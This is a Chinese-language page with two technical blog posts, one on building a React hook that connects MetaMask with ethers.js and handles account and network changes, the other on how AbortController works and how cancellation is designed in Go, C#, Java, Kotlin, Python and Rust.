阅读视图

发现新文章,点击刷新页面。

从“连接失败”到丝滑登录:我用 ethers.js 连接 MetaMask 的完整踩坑实录

背景

上个月,我接手了一个新的 NFT 铸造平台前端开发。项目要求很简单:用户点击“连接钱包”按钮,弹出 MetaMask 授权,连接成功后显示用户地址和余额。作为有几年经验的 Web3 开发者,我心想这还不是手到擒来?直接上 ethers.js 这个老伙计,几行代码搞定。于是,我新建了一个 React 组件,信心满满地开始敲代码。没想到,就是这个看似基础的功能,让我在接下来的一天里,跟各种奇怪的报错和边界情况斗智斗勇。

问题分析

我最开始的思路非常直接:在组件挂载时,检查 window.ethereum 是否存在(即用户是否安装了 MetaMask),然后调用 ethereum.request({ method: 'eth_requestAccounts' }) 请求账户授权,最后用 new ethers.providers.Web3Provider(window.ethereum) 创建 provider 来读取链上数据。

第一版代码跑起来,点击按钮,MetaMask 确实弹出来了,授权也很顺利。控制台打印出了地址,我正准备庆祝,问题就来了。

  1. 页面刷新后,登录状态丢失:用户需要重新点击连接。这体验太差了,我们的产品经理第一个不答应。
  2. 切换 MetaMask 账户时,前端页面没反应:用户在钱包里换了账号,但我们的网站显示的依然是旧地址。
  3. 切换网络时页面卡住:用户从以太坊主网切换到 Polygon,页面有时会卡死,需要手动刷新。

我意识到,我把问题想简单了。一个生产级的钱包连接,不仅仅是“弹出授权框拿到地址”,它必须是一个有状态、能响应变化、并且持久化的连接。我需要监听钱包的各种事件(账户变化、网络变化),并妥善管理这些状态,使其与 React 组件的状态同步。

核心实现

第一步:检测 Provider 与初始化状态

首先,我们不能假设用户一定装了 MetaMask。所以,检测 window.ethereum 是第一步,并且最好在组件生命周期早期进行。

这里有个坑:window.ethereum 的类型在 TypeScript 中是 anyunknown。为了更好的类型安全,我将其断言为 ethers.providers.ExternalProvider,但更严谨的做法是使用 ethers 提供的类型工具,或者直接检查必要的方法是否存在。

我决定在自定义 Hook (useWallet) 的初始化阶段完成检测和基础设置。

import { useState, useEffect, useCallback } from 'react';
import { ethers } from 'ethers';

// 声明全局的 ethereum 类型
declare global {
  interface Window {
    ethereum?: ethers.providers.ExternalProvider & {
      isMetaMask?: boolean;
      request: (args: { method: string; params?: any[] }) => Promise<any>;
      on: (event: string, callback: (...args: any[]) => void) => void;
      removeListener: (event: string, callback: (...args: any[]) => void) => void;
    };
  }
}

export const useWallet = () => {
  const [provider, setProvider] = useState<ethers.providers.Web3Provider | null>(null);
  const [signer, setSigner] = useState<ethers.Signer | null>(null);
  const [account, setAccount] = useState<string>('');
  const [chainId, setChainId] = useState<number>(0);
  const [isConnecting, setIsConnecting] = useState(false);
  const [error, setError] = useState<string>('');

  // 初始化:检查是否已连接
  useEffect(() => {
    const checkIfWalletIsConnected = async () => {
      if (!window.ethereum) {
        setError('请安装 MetaMask 钱包扩展!');
        return;
      }

      try {
        // 尝试获取已授权的账户
        const accounts = await window.ethereum.request({
          method: 'eth_accounts',
        });
        if (accounts.length > 0) {
          // 如果已有授权账户,直接初始化 provider 和 signer
          await initProviderAndSigner(accounts[0]);
        }
        // 获取当前网络ID
        const chainIdHex = await window.ethereum.request({ method: 'eth_chainId' });
        setChainId(parseInt(chainIdHex, 16));
      } catch (err) {
        console.error('初始化检查钱包连接失败:', err);
      }
    };

    checkIfWalletIsConnected();
  }, []);
}

eth_accounts 这个方法是关键,它不会弹出授权框,而是静默返回已被当前 DApp 授权的账户列表。如果列表不为空,说明用户之前已经连接过,我们可以直接恢复状态。这是解决“刷新后状态丢失”问题的核心。

第二步:实现连接与断开功能

连接功能就是主动弹出授权请求。这里要注意错误处理,特别是用户拒绝授权的情况。

const connectWallet = useCallback(async () => {
  if (!window.ethereum) {
    setError('请安装 MetaMask 钱包扩展!');
    return;
  }

  setIsConnecting(true);
  setError('');
  try {
    // 1. 请求账户授权,这会弹出 MetaMask 窗口
    const accounts = await window.ethereum.request({
      method: 'eth_requestAccounts',
    });
    // 2. 用获取到的第一个账户初始化
    await initProviderAndSigner(accounts[0]);
    // 3. 获取当前网络
    const chainIdHex = await window.ethereum.request({ method: 'eth_chainId' });
    setChainId(parseInt(chainIdHex, 16));
  } catch (err: any) {
    // 用户拒绝授权是最常见的错误
    if (err.code === 4001) {
      setError('您拒绝了钱包连接请求。');
    } else {
      setError(`连接失败: ${err.message}`);
    }
    console.error('连接钱包失败:', err);
  } finally {
    setIsConnecting(false);
  }
}, []);

const disconnectWallet = useCallback(() => {
  // 注意:ethers.js 和 MetaMask 没有真正的“断开连接”API。
  // 所谓的断开,只是清除我们本地应用的状态。
  setProvider(null);
  setSigner(null);
  setAccount('');
  setChainId(0);
  setError('');
  // 在实际项目中,你可能还需要清除 localStorage/SessionStorage 中的相关状态
}, []);

这里有个大坑:很多新手(包括当时的我)会寻找 disconnectlogout 方法。但实际上,MetaMask 的权限模型是“一次授权,持续有效”,直到用户在其钱包界面手动移除站点权限。所以前端的“断开”只是前端自己清空状态,下次用 eth_accounts 检查时,如果用户没移除权限,还是会拿到地址。这是一个重要的认知点。

第三步:监听钱包事件(关键!)

这是让应用“活”起来,响应外部变化的核心。我们需要监听 accountsChangedchainChanged 事件。

// 初始化 provider 和 signer 的辅助函数
const initProviderAndSigner = useCallback(async (accountAddress: string) => {
  if (!window.ethereum) return;
  // 创建 Provider
  const web3Provider = new ethers.providers.Web3Provider(window.ethereum);
  setProvider(web3Provider);
  // 创建 Signer
  const web3Signer = web3Provider.getSigner();
  setSigner(web3Signer);
  setAccount(accountAddress);
}, []);

// 设置事件监听
useEffect(() => {
  if (!window.ethereum) return;

  const handleAccountsChanged = (accounts: string[]) => {
    console.log('accountsChanged 事件触发:', accounts);
    if (accounts.length === 0) {
      // 用户在所有界面断开了连接,或者切换到了一个没有权限的账户
      disconnectWallet();
      setError('请连接您的钱包账户。');
    } else if (accounts[0] !== account) {
      // 用户切换了账户
      initProviderAndSigner(accounts[0]);
    }
  };

  const handleChainChanged = (_chainId: string) => {
    // 注意:chainId 是十六进制字符串
    console.log('chainChanged 事件触发:', _chainId);
    // 当网络切换时,MetaMask 建议刷新页面,因为许多链上数据可能失效。
    // 但为了更好体验,我们可以只重置部分状态并重新获取链ID。
    window.location.reload();
    // 更优雅的做法:不刷新,只更新 chainId 并重新初始化 provider(可能需要新的 RPC 配置)
    // setChainId(parseInt(_chainId, 16));
    // initProviderAndSigner(account); // 重新初始化,因为网络变了
  };

  // 绑定监听器
  window.ethereum.on('accountsChanged', handleAccountsChanged);
  window.ethereum.on('chainChanged', handleChainChanged);

  // 组件卸载时清理监听器,防止内存泄漏
  return () => {
    if (window.ethereum) {
      window.ethereum.removeListener('accountsChanged', handleAccountsChanged);
      window.ethereum.removeListener('chainChanged', handleChainChanged);
    }
  };
}, [account, disconnectWallet, initProviderAndSigner]);

注意这个细节chainChanged 事件的处理。早期文档和很多教程都建议直接 window.location.reload(),因为网络切换后,旧的 provider 实例可能指向错误的 RPC。虽然刷新简单粗暴,但体验不好。更优的方案是:更新 chainId,然后基于新的 chainId 创建一个新的 provider 实例(如果你配置了多链 RPC 的话)。我这里为了代码清晰,先用了刷新方案。

第四步:获取余额与完善 UI

有了 provideraccount,获取余额就很简单了。但要注意异步操作和错误处理。

const [balance, setBalance] = useState<string>('0');

// 获取余额的函数
const fetchBalance = useCallback(async () => {
  if (!provider || !account) {
    setBalance('0');
    return;
  }
  try {
    const balanceWei = await provider.getBalance(account);
    // 格式化为 Ether 单位,保留4位小数
    const balanceEth = ethers.utils.formatEther(balanceWei);
    setBalance(parseFloat(balanceEth).toFixed(4));
  } catch (err) {
    console.error('获取余额失败:', err);
    setBalance('0');
  }
}, [provider, account]);

// 当 account 或 provider 变化时,重新获取余额
useEffect(() => {
  fetchBalance();
}, [fetchBalance]);

最后,将这些状态和方法暴露给组件,一个基础但健壮的钱包连接 Hook 就完成了。

完整代码

以下是一个整合了上述所有功能的 React 组件示例:

// WalletConnector.tsx
import React, { useState, useEffect, useCallback } from 'react';
import { ethers } from 'ethers';

declare global {
  interface Window {
    ethereum?: ethers.providers.ExternalProvider & {
      isMetaMask?: boolean;
      request: (args: { method: string; params?: any[] }) => Promise<any>;
      on: (event: string, callback: (...args: any[]) => void) => void;
      removeListener: (event: string, callback: (...args: any[]) => void) => void;
    };
  }
}

const WalletConnector: React.FC = () => {
  const [provider, setProvider] = useState<ethers.providers.Web3Provider | null>(null);
  const [signer, setSigner] = useState<ethers.Signer | null>(null);
  const [account, setAccount] = useState<string>('');
  const [chainId, setChainId] = useState<number>(0);
  const [balance, setBalance] = useState<string>('0');
  const [isConnecting, setIsConnecting] = useState(false);
  const [error, setError] = useState<string>('');

  const initProviderAndSigner = useCallback(async (accountAddress: string) => {
    if (!window.ethereum) return;
    const web3Provider = new ethers.providers.Web3Provider(window.ethereum);
    const web3Signer = web3Provider.getSigner();
    setProvider(web3Provider);
    setSigner(web3Signer);
    setAccount(accountAddress);
  }, []);

  const fetchBalance = useCallback(async () => {
    if (!provider || !account) {
      setBalance('0');
      return;
    }
    try {
      const balanceWei = await provider.getBalance(account);
      const balanceEth = ethers.utils.formatEther(balanceWei);
      setBalance(parseFloat(balanceEth).toFixed(4));
    } catch (err) {
      console.error('获取余额失败:', err);
      setBalance('0');
    }
  }, [provider, account]);

  const connectWallet = useCallback(async () => {
    if (!window.ethereum) {
      setError('请安装 MetaMask 钱包扩展!');
      return;
    }
    setIsConnecting(true);
    setError('');
    try {
      const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
      await initProviderAndSigner(accounts[0]);
      const chainIdHex = await window.ethereum.request({ method: 'eth_chainId' });
      setChainId(parseInt(chainIdHex, 16));
    } catch (err: any) {
      if (err.code === 4001) {
        setError('连接请求被拒绝。');
      } else {
        setError(`连接失败: ${err.message}`);
      }
    } finally {
      setIsConnecting(false);
    }
  }, [initProviderAndSigner]);

  const disconnectWallet = useCallback(() => {
    setProvider(null);
    setSigner(null);
    setAccount('');
    setChainId(0);
    setBalance('0');
    setError('');
  }, []);

  // 初始化检查与事件监听
  useEffect(() => {
    if (!window.ethereum) {
      setError('未检测到 Web3 钱包。请安装 MetaMask。');
      return;
    }

    const checkInitialConnection = async () => {
      try {
        const accounts = await window.ethereum!.request({ method: 'eth_accounts' });
        if (accounts.length > 0) {
          await initProviderAndSigner(accounts[0]);
        }
        const chainIdHex = await window.ethereum!.request({ method: 'eth_chainId' });
        setChainId(parseInt(chainIdHex, 16));
      } catch (err) {
        console.error('初始连接检查出错:', err);
      }
    };

    const handleAccountsChanged = (accounts: string[]) => {
      if (accounts.length === 0) {
        disconnectWallet();
        setError('账户已断开。');
      } else if (accounts[0] !== account) {
        initProviderAndSigner(accounts[0]);
      }
    };

    const handleChainChanged = (_chainId: string) => {
      // 简单处理:刷新页面
      window.location.reload();
    };

    checkInitialConnection();

    window.ethereum.on('accountsChanged', handleAccountsChanged);
    window.ethereum.on('chainChanged', handleChainChanged);

    return () => {
      window.ethereum?.removeListener('accountsChanged', handleAccountsChanged);
      window.ethereum?.removeListener('chainChanged', handleChainChanged);
    };
  }, [account, disconnectWallet, initProviderAndSigner]);

  // 余额监听
  useEffect(() => {
    fetchBalance();
  }, [fetchBalance]);

  return (
    <div style={{ padding: '20px', border: '1px solid #ccc', borderRadius: '8px' }}>
      <h2>钱包连接状态</h2>
      {error && <p style={{ color: 'red' }}>错误: {error}</p>}
      
      {!account ? (
        <button onClick={connectWallet} disabled={isConnecting}>
          {isConnecting ? '连接中...' : '连接 MetaMask'}
        </button>
      ) : (
        <div>
          <p><strong>连接地址:</strong> {`${account.substring(0, 6)}...${account.substring(account.length - 4)}`}</p>
          <p><strong>网络 ID:</strong> {chainId}</p>
          <p><strong>余额:</strong> {balance} ETH</p>
          <button onClick={disconnectWallet} style={{ marginTop: '10px' }}>
            断开连接(前端)
          </button>
          <p style={{ fontSize: '0.8em', color: '#666', marginTop: '5px' }}>
            (注:需在 MetaMask 中移除站点权限才能完全断开)
          </p>
        </div>
      )}
      
      <div style={{ marginTop: '20px', fontSize: '0.9em', color: '#333' }}>
        <p>试试以下操作,观察页面变化:</p>
        <ul>
          <li>在 MetaMask 中切换账户</li>
          <li>在 MetaMask 中切换网络(如 Goerli 测试网)</li>
          <li>刷新页面</li>
        </ul>
      </div>
    </div>
  );
};

export default WalletConnector;

踩坑记录

  1. window.ethereum 类型错误:在 TypeScript 中直接使用 window.ethereum 会报类型错误。我一开始用 (window as any).ethereum 粗暴解决,后来发现这不利于代码维护。最终通过扩展 global 接口提供了更精确的类型定义,并检查必要方法是否存在。
  2. accountsChanged 事件在断开时触发空数组:我最初只监听新账户,没处理 accounts.length === 0 的情况。导致用户在 MetaMask 里断开连接后,我的应用界面还显示着旧地址。加上这个判断后,体验才正常。
  3. 网络切换后 Provider 失效:这是我遇到最棘手的问题。用户切换网络后,旧的 provider 实例发出的请求可能仍发往旧的 RPC 节点,导致各种 UNSUPPORTED_OPERATION 或网络错误。我尝试过在 chainChanged 事件里创建新的 provider,但有时会碰到异步时序问题。最后,对于这个简单 demo,我采用了 MetaMask 官方早期文档推荐的页面刷新方案。在真实复杂项目中,需要结合项目状态管理库(如 Redux、Zustand)和自定义的多链 RPC 配置来更优雅地处理。
  4. 余额显示单位问题provider.getBalance() 返回的是 BigNumber 类型的 wei 单位。直接 toString() 会显示一长串数字。必须用 ethers.utils.formatEther() 进行单位转换。同时要注意转换后的精度显示,避免出现过多小数位。

小结

这次折腾让我彻底明白,一个稳定的钱包连接不仅仅是调用一个 API,而是一个需要持续维护状态、监听外部事件、并妥善处理各种边界情况的完整功能模块。虽然现在有 wagmiRainbowKit 这样优秀的封装库,但理解其底层原理,亲手用 ethers.js 实现一遍,对于排查复杂问题和构建定制化需求依然至关重要。下一步,我可以在此基础上集成多链支持、钱包连接缓存(localStorage)以及更优雅的网络切换处理逻辑。

深入理解 AbortController:从底层原理到跨语言设计哲学

引言

在目前的现代异步编程中,取消操作是一个看似简单却极其复杂的问题。JavaScript 的 AbortController API 作为 Web 标准和 Node.js 环境中的统一解决方案,不只是解决了异步操作的可取消性难题,更体现了一种深刻的设计哲学:协作式取消(Cooperative Cancellation)。

今天我们从底层原理出发,深入剖析 AbortController 的工作机制,对比浏览器与 Node.js 的实现差异,并横向对比其他编程语言的中断机制设计,最终揭示这一 API 背后的语言特性与设计思想。那我们开始吧!


第一部分:AbortController 的底层原理

1.1 核心架构:信号-控制器分离模式

AbortController 的设计遵循信号-控制器分离模式(Signal-Controller Separation Pattern)。这种设计将"控制"与"监听"两个职责进行分离:

// 核心架构示意
class AbortController {
  constructor() {
    // 控制器持有信号对象的引用
    this.signal = new AbortSignal();
  }

  abort(reason) {
    // 控制器触发信号的中止状态
    this.signal._abort(reason);
  }
}

class AbortSignal extends EventTarget {
  constructor() {
    super();
    this.aborted = false;
    this.reason = undefined;
  }

  _abort(reason) {
    if (this.aborted) return; // 幂等性保证

    this.aborted = true;
    this.reason = reason ?? new DOMException("Aborted", "AbortError");

    // 触发中止事件,通知所有监听器
    this.dispatchEvent(new Event("abort"));
  }
}

为什么这样设计?

  1. 单一职责原则:控制器负责"触发",信号负责"传播"。这种分离使得一个控制器可以控制多个信号,或者多个消费者可以共享同一个信号。

  2. 不可变性保证:signal 对象一旦创建,其引用关系就固定下来。消费者只能监听信号,无法重新赋值或篡改控制器的状态。

  3. 传播语义清晰:信号作为 EventTarget 的子类,天然支持事件订阅机制,符合 JavaScript 的异步编程范式。

1.2 事件驱动机制:从信号到执行中断

AbortSignal 继承自 EventTarget,这意味着它使用事件驱动模型来传播取消信号。当调用 controller.abort() 时,内部执行以下步骤:

Image from Nlark

关键设计点:

  • 幂等性:多次调用 abort() 不会产生副作用,确保信号状态的一致性。
  • 同步触发:abort() 的调用是同步的,事件处理也是同步执行的,这保证了取消信号的即时性。
  • 不可撤销:一旦信号被中止,就无法"恢复",这符合"取消"的语义——取消是一个不可逆的操作。

1.3 底层资源释放:从信号到系统调用

AbortController 的真正威力在于它能够触发底层资源的释放。以 fetch 请求为例:

const controller = new AbortController();
fetch("/api/data", { signal: controller.signal });

// 触发取消
controller.abort();

abort() 被调用时,浏览器会执行以下操作:

  1. TCP 连接中断:浏览器向服务器发送 RST(Reset)包,强制关闭 TCP 连接。这不是"忽略响应",而是真正意义上的连接终止。

  2. 资源回收:释放与该请求相关的内存缓冲区、文件描述符、事件监听器等资源。

  3. Promise 拒绝:fetch 返回的 Promise 被 reject,抛出 AbortError

这种分层取消机制确保了从应用层到系统层的完整资源释放,避免了内存泄漏和资源耗尽问题。

1.4 AbortSignal.any():信号组合的设计智慧

AbortSignal.any() 是 AbortController API 的一个重要扩展,它允许将多个信号组合成一个 "或" 关系的新信号:

const timeoutSignal = AbortSignal.timeout(5000);
const userCancelSignal = new AbortController().signal;

// 任一信号触发,组合信号就触发
const combinedSignal = AbortSignal.any([timeoutSignal, userCancelSignal]);

fetch("/api/data", { signal: combinedSignal });

实现原理:

// 简化版实现示意
class AbortSignal {
  static any(signals) {
    const controller = new AbortController();

    for (const signal of signals) {
      if (signal.aborted) {
        // 如果任一信号已中止,立即触发
        controller.abort(signal.reason);
        return controller.signal;
      }

      // 监听每个信号的 abort 事件
      signal.addEventListener(
        "abort",
        () => {
          controller.abort(signal.reason);
        },
        { once: true },
      );
    }

    return controller.signal;
  }
}

设计要点:

  1. 竞态处理:如果传入的信号中已经有一个是 aborted 状态,立即触发新信号的中止。
  2. 原因传递:触发时传递原始信号的 reason,保持错误信息的完整性。
  3. 内存管理:使用 { once: true } 确保事件监听器在触发后自动清理,避免内存泄漏。
  4. WeakRef 优化:实际实现中使用 WeakRefFinalizationRegistry 来管理信号之间的依赖关系,防止循环引用。

第二部分:Node.js 与 Web 实现的异同

2.1 实现层面的差异

虽然 Node.js 的 AbortController 遵循与浏览器相同的 WHATWG DOM 标准,但在底层实现上存在显著差异:

特性 浏览器(Blink/V8) Node.js (libuv/V8)
事件循环 基于渲染事件循环 基于 libuv 事件循环
网络层 Chromium Network Stack libuv + 系统调用
信号传播 通过 Blink 的绑定层 通过 Node.js 的 C++ 绑定
文件系统 受限的 File System Access API 完整的 fs 模块支持
子进程 不支持 支持 child_process 模块
Worker 线程 Web Workers Worker Threads

2.2 Node.js 特有的扩展

Node.js 对 AbortController 进行了多项扩展,使其更适用于服务端场景:

2.2.1 定时器支持

import { setTimeout } from "node:timers/promises";

const controller = new AbortController();

setTimeout(1000, "value", { signal: controller.signal })
  .then((value) => console.log(value))
  .catch((err) => {
    if (err.name === "AbortError") {
      console.log("Timer aborted");
    }
  });

// 5秒后取消
setTimeout(() => controller.abort(), 500);

底层实现:Node.js 的定时器模块内部维护了一个 AbortSignal 到定时器句柄的映射。当信号触发时,调用 clearTimeout() 清除定时器。

2.2.2 文件系统操作

import { readFile } from "node:fs";

const controller = new AbortController();

readFile("/path/to/file", { signal: controller.signal }, (err, data) => {
  if (err?.name === "AbortError") {
    console.log("Read aborted");
  }
});

// 取消读取
controller.abort();

重要限制:根据 Node.js 文档,文件系统的取消不会中止底层的操作系统请求,而只是中止 Node.js 内部的缓冲操作。这意味着:

这与浏览器中 fetch 的取消(可以终止 TCP 连接)有本质区别,反映了服务端 I/O 与客户端网络请求的不同特性。

2.2.3 子进程控制

import { spawn } from "node:child_process";

const controller = new AbortController();

const child = spawn("node", ["script.js"], {
  signal: controller.signal,
});

child.on("error", (err) => {
  if (err.name === "AbortError") {
    console.log("Child process aborted");
  }
});

// 终止子进程
controller.abort();

实现机制:Node.js 在子进程模块中监听 AbortSignalabort 事件,触发时向子进程发送 SIGTERM 信号。如果子进程未在超时内退出,则发送 SIGKILL 强制终止。

2.3 行为一致性与边界情况

2.3.1 事件触发时序

浏览器和 Node.js 在事件触发时序上保持一致:

const controller = new AbortController();
const signal = controller.signal;

// 注册多个监听器
signal.addEventListener("abort", () => console.log("Listener 1"));
signal.addEventListener("abort", () => console.log("Listener 2"));

controller.abort();
console.log("After abort");

// 输出顺序:
// Listener 1
// Listener 2
// After abort

事件监听器是同步执行的,这保证了取消操作的即时性。

2.3.2 已完成的操作

如果操作已经完成,取消信号会被忽略:

const controller = new AbortController();

fetch("/api/data", { signal: controller.signal }).then((response) => {
  console.log("Request completed");
});

// 延迟触发取消(假设请求已经完成)
setTimeout(() => {
  controller.abort(); // 不会产生任何效果
}, 1000);

这种行为是协作式取消的核心体现:消费者决定如何响应取消信号,包括选择忽略它。


第三部分:跨语言对比——中断机制的设计哲学

3.1 协作式取消 vs 抢占式取消

不同编程语言对"取消操作"的设计哲学可以分为两大类:

3.2 Go:Context 模式

Go 语言的 context 包提供了与 JavaScript AbortController 类似的协作式取消机制:

// Go 的 Context 模式
ctx, cancel := context.WithCancel(context.Background())
defer cancel()

// 启动 goroutine
go func(ctx context.Context) {
    select {
    case <-ctx.Done():
        // 收到取消信号
        fmt.Println("Cancelled:", ctx.Err())
        return
    case <-time.After(5 * time.Second):
        fmt.Println("Work completed")
    }
}(ctx)

// 触发取消
cancel()

与 JavaScript 的对比

特性 Go Context JavaScript AbortController
信号类型 Channel(<-ctx.Done() Event(addEventListener
传播方式 显式传递 ctx 参数 通过 signal 属性传递
超时支持 context.WithTimeout() AbortSignal.timeout()
值传递 支持 ctx.Value() 不支持(专用设计)
组合能力 可以嵌套传递 AbortSignal.any() 组合

设计差异分析

Go 的 context 不仅是取消信号,还承担了请求作用域数据传递的职责(通过 ctx.Value())。这种设计在微服务架构中非常有用,可以传递请求 ID、用户信息等。JavaScript 的 AbortController 则专注于单一职责:取消信号传递。

3.3 C#:CancellationToken 模式

.NET 的 CancellationToken 是一个成熟的协作式取消机制:

// C# 的 CancellationToken 模式
using var cts = new CancellationTokenSource();
CancellationToken token = cts.Token;

try {
    await Task.Run(async () => {
        while (!token.IsCancellationRequested) {
            // 执行任务
            await Task.Delay(100);
        }
    }, token);
} catch (OperationCanceledException) {
    Console.WriteLine("Operation cancelled");
}

// 触发取消
cts.Cancel();

关键特性:

  1. 轮询与回调双模式:既可以通过 IsCancellationRequested 属性轮询,也可以通过 Register() 方法注册回调。

  2. 链接令牌:CreateLinkedTokenSource() 可以将多个令牌链接成一个,任一令牌取消都会触发整体取消。

  3. 异常类型:取消时抛出 OperationCanceledException,与 JavaScript 的 AbortError 对应。

与 JavaScript 的对比:


⚖️ 核心差异对照表

对比维度 C# CancellationToken JS AbortSignal
类型系统 struct(值类型) class(引用类型)
传递语义 按值复制(快照式) 按引用共享(同一实例)
取消检测 轮询 .IsCancellationRequested 监听 'abort' 事件
异常类型 OperationCanceledException DOMException("AbortError")
资源释放 需手动 .Dispose() CTS GC 自动回收
超时内置 cts.CancelAfter() AbortSignal.timeout() (ES2024)
多信号合并 CreateLinkedTokenSource() AbortSignal.any() (ES2024)
与 fetch 集成 ❌ 不适用 ✅ 原生支持
与 async/await ✅ 原生支持 ✅ 原生支持

3.4 Java:Future.cancel() 与线程中断

Java 提供了两种取消机制:

3.4.1 Future.cancel()(协作式)

ExecutorService executor = Executors.newSingleThreadExecutor();
Future<?> future = executor.submit(() -> {
    while (!Thread.currentThread().isInterrupted()) {
        // 执行任务
    }
});

// 尝试取消
future.cancel(true); // true = 允许中断运行中的线程

3.4.2 线程中断(抢占式)

Thread workerThread = new Thread(() -> {
    try {
        Thread.sleep(10000);
    } catch (InterruptedException e) {
        // 收到中断信号
        Thread.currentThread().interrupt(); // 重新设置中断标志
    }
});

workerThread.start();
workerThread.interrupt(); // 发送中断信号

关键区别

Java 的 Thread.interrupt() 并不会强制停止线程,而是设置一个中断标志。线程需要主动检查这个标志(通过 isInterrupted())或在可中断的阻塞操作(如 sleep(), wait())中捕获 InterruptedException

这与 JavaScript 的 AbortController 非常相似,都是协作式的。但 Java 还保留了 Thread.stop()(已废弃)这样的抢占式方法,反映了早期 Java 设计中对抢占式取消的探索。

3.5 Kotlin:协程的取消机制

Kotlin 协程的取消是结构化并发(Structured Concurrency)的核心特性:

import kotlinx.coroutines.*

fun main() = runBlocking {
    val job = launch {
        try {
            repeat(1000) { i ->
                println("Job: I'm working $i ...")
                delay(500L)
            }
        } finally {
            // 清理资源
            println("Job: I'm running finally")
        }
    }

    delay(1300L)
    println("main: I'm tired of waiting!")
    job.cancelAndJoin() // 取消并等待完成
    println("main: Now I can quit.")
}

关键特性:

  1. 挂起点的取消检查:Kotlin 协程只在挂起点(suspension points)检查取消状态。如果协程处于 CPU 密集型计算中,不会立即响应取消。

  2. 异常传播:取消时抛出 CancellationException,这是一种特殊的异常,不会被视为错误。

  3. 父子关系:子协程的取消会传播给所有子协程,形成树状的取消传播。

与 JavaScript 的对比:

3.6 Python:asyncio.Task 的取消

Python 的 asyncio 提供了任务取消机制:

import asyncio

async def worker():
    try:
        while True:
            print("Working...")
            await asyncio.sleep(1)
    except asyncio.CancelledError:
        print("Cancelled!")
        raise  # 必须重新抛出

async def main():
    task = asyncio.create_task(worker())
    await asyncio.sleep(2)
    task.cancel()

    try:
        await task
    except asyncio.CancelledError:
        print("Task cancelled")

asyncio.run(main())

设计特点

  1. 异常驱动:取消通过抛出 CancelledError 实现,任务需要捕获并重新抛出。

  2. 异步清理finally 块中可以执行异步清理操作(使用 async 语法)。

  3. 取消传播:父任务取消时,子任务会自动收到取消信号。

与 JavaScript 的对比

Python 的 asyncio.CancelledError 与 JavaScript 的 AbortError 类似,都是异常驱动的取消机制。但 Python 的取消更依赖异常传播,而 JavaScript 更依赖事件监听。

3.7 Rust:异步取消与 Drop 语义

Rust 的异步取消机制与众不同,它利用了所有权和 Drop trait:

use tokio::time::{sleep, Duration};

#[tokio::main]
async fn main() {
    let handle = tokio::spawn(async {
        sleep(Duration::from_secs(5)).await;
        println("Task completed");
    });

    // 取消任务
    handle.abort();

    match handle.await {
        Ok(_) => println!("Task finished normally"),
        Err(e) if e.is_cancelled() => println!("Task was cancelled"),
        Err(e) => println!("Task panicked: {:?}", e),
    }
}

核心概念

  1. Future 的 Drop:在 Rust 中,当一个 Future(异步任务)被 drop(丢弃)时,任务就被取消了。这是通过所有权系统实现的。

  2. 取消安全性(Cancel Safety):Rust 强调"取消安全性",即任务在被取消时不会留下不一致的状态。这通常要求使用特定的模式(如 select! 宏)。

  3. Async Drop:Rust 正在讨论引入 AsyncDrop trait,允许在 drop 时执行异步清理操作。

与 JavaScript 的对比


第四部分:设计哲学与最佳实践

4.1 为什么协作式取消是主流?

从上述跨语言对比可以看出,协作式取消已成为现代异步编程的主流设计。原因如下:

  1. 资源安全:协作式取消允许任务在退出前执行清理操作(关闭文件、释放锁、回滚事务等),避免资源泄漏。

  2. 状态一致性:任务可以在安全点(挂起点或检查点)响应取消,确保数据结构处于一致状态。

  3. 可预测性:取消的时机和行为是确定的,不会出现抢占式取消的"任意点中断"问题。

  4. 组合性:多个取消信号可以组合(如 AbortSignal.any()),形成复杂的取消策略。

4.2 AbortController 的设计原则总结

根据 WHATWG DOM 规范和各实现的设计文档,AbortController 遵循以下核心原则:

  1. 分离原则(Separation)

    • 控制器(Controller)负责触发
    • 信号(Signal)负责传播
    • 消费者(Consumer)决定如何响应
  2. 幂等性原则(Idempotency)

    • 多次调用 abort() 无副作用
    • 信号一旦中止,状态不可变
  3. 即时性原则(Immediacy)

    • abort() 调用是同步的
    • 事件处理是同步的
    • 保证取消信号的即时传播
  4. 不可撤销原则(Irreversibility)

    • 取消是不可逆的操作
    • 信号不能"恢复"或"重置"
  5. 组合性原则(Composability)

    • 支持多个信号的组合(any, race)
    • 支持信号链的传播(dependent signals)
  6. 资源安全原则(Resource Safety)

    • 提供清理算法的注册机制
    • 支持自动解订阅(unsubscription)

4.3 实际应用中的最佳实践

4.3.1 始终传递 Signal

// ✅ 好的实践:函数接受 signal 参数
async function fetchData(url, options = {}) {
  const { signal } = options;

  // 立即检查
  signal?.throwIfAborted();

  const response = await fetch(url, { signal });

  // 中间检查
  signal?.throwIfAborted();

  return response.json();
}

// ❌ 不好的实践:忽略 signal
async function fetchDataBad(url) {
  return fetch(url).then((r) => r.json()); // 无法取消
}

4.3.2 正确清理事件监听器

async function someOperation(signal) {
  const cleanup = new AbortController();

  // 使用嵌套 signal 确保清理
  signal?.addEventListener(
    "abort",
    () => {
      cleanup.abort();
    },
    { once: true },
  );

  try {
    await doWork({ signal: cleanup.signal });
  } finally {
    // 确保清理
    cleanup.abort();
  }
}

4.3.3 区分取消错误与其他错误

async function robustFetch(url, signal) {
  try {
    return await fetch(url, { signal });
  } catch (error) {
    if (error.name === "AbortError") {
      // 取消是预期的行为,不需要上报
      console.log("Request cancelled");
      return null;
    }
    // 其他错误需要处理
    throw error;
  }
}

4.3.4 使用 AbortSignal.timeout() 设置超时

// ✅ 推荐:使用内置的超时信号
const signal = AbortSignal.timeout(5000);

// ❌ 不推荐:手动实现
const controller = new AbortController();
setTimeout(() => controller.abort(), 5000);

4.3.5 组合多个取消条件

// 组合用户取消和超时
const userController = new AbortController();
const timeoutSignal = AbortSignal.timeout(10000);

const combinedSignal = AbortSignal.any([userController.signal, timeoutSignal]);

fetch("/api/data", { signal: combinedSignal }).catch((err) => {
  if (err.name === "AbortError") {
    // 判断是哪种取消
    if (timeoutSignal.aborted) {
      console.log("Timeout");
    } else {
      console.log("User cancelled");
    }
  }
});

第五部分:深入思考——语言特性对设计的影响

5.1 JavaScript 的事件驱动本质

AbortController 的设计深深植根于 JavaScript 的事件驱动(Event-Driven)本质。JavaScript 作为单线程语言,无法使用抢占式中断(如线程信号),必须通过事件循环机制来传播信号。

这种设计使得 AbortController 与 JavaScript 的异步模型(Promise、async/await、EventTarget)无缝集成。

5.2 单线程模型的限制与优势

JavaScript 的单线程模型限制了取消机制的设计空间:

  • 无法强制中断:无法像操作系统信号那样强制中断执行中的代码。
  • 必须协作:任务必须主动检查信号并响应。

但这种限制也带来了优势:

